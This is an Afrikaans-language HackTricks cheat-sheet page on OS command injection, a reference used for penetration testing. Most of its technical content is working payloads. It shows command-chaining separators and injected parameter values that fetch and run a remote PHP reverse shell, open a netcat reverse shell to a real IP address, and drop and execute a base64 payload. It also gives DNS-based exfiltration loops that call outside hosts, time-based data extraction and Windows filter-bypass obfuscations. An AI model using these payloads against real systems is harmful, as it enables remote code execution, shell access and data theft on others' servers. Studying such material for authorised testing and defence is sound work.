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https://github.com/carlospolop/hacktricks
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170 lines
7.1 KiB
Markdown
170 lines
7.1 KiB
Markdown
# Command Injection
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
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Kry Toegang Vandag:
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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## Wat is command Injection?
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'n **command injection** laat die uitvoering van arbitrêre bedryfstelselopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller tipies in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
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### Konteks
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Afhangende van **waar jou invoer ingespuit word** mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte.
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## Command Injection/Execution
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```bash
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#Both Unix and Windows supported
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ls||id; ls ||id; ls|| id; ls || id # Execute both
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ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
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ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
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ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
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ls %0A id # %0A Execute both (RECOMMENDED)
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#Only unix supported
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`ls` # ``
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$(ls) # $()
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ls; id # ; Chain commands
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ls${LS_COLORS:10:1}${IFS}id # Might be useful
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#Not executed but may be interesting
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> /var/www/html/out.txt #Try to redirect the output to a file
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< /etc/passwd #Try to send some input to the command
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```
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### **Beperkings** Bypasses
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As jy probeer om **arbitraire opdragte binne 'n linux masjien** uit te voer, sal jy belangstel om oor hierdie **Bypasses** te lees:
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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### **Voorbeelde**
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```
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vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
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vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
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vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
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```
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### Parameters
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Hier is die top 25 parameters wat kwesbaar kan wees vir kode-inspuiting en soortgelyke RCE kwesbaarhede (van [link](https://twitter.com/trbughunters/status/1283133356922884096)):
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```
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?cmd={payload}
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?exec={payload}
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?command={payload}
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?execute{payload}
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?ping={payload}
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?query={payload}
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?jump={payload}
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?code={payload}
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?reg={payload}
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?do={payload}
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?func={payload}
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?arg={payload}
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?option={payload}
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?load={payload}
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?process={payload}
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?step={payload}
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?read={payload}
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?function={payload}
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?req={payload}
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?feature={payload}
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?exe={payload}
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?module={payload}
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?payload={payload}
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?run={payload}
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?print={payload}
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```
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### Tydgebaseerde data-uitvoer
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Data onttrek: karakter vir karakter
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```
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
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real 0m5.007s
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user 0m0.000s
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sys 0m0.000s
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swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
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real 0m0.002s
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user 0m0.000s
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sys 0m0.000s
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```
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### DNS gebaseerde data eksfiltrasie
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Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
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```
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1. Go to http://dnsbin.zhack.ca/
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2. Execute a simple 'ls'
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for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
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```
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```
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$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
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```
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Online tools to check for DNS based data exfiltration:
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* dnsbin.zhack.ca
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* pingb.in
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### Filtering bypass
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#### Windows
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```
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powershell C:**2\n??e*d.*? # notepad
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@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
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```
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#### Linux
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{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
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[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
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{% endcontent-ref %}
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## Brute-Force Detectie Lys
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
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## Verwysings
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
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* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
|
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* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
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\
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Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **automate werkvloei** aangedryf deur die wêreld se **meest gevorderde** gemeenskap gereedskap.\
|
|
Kry Toegang Vandag:
|
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|
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{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
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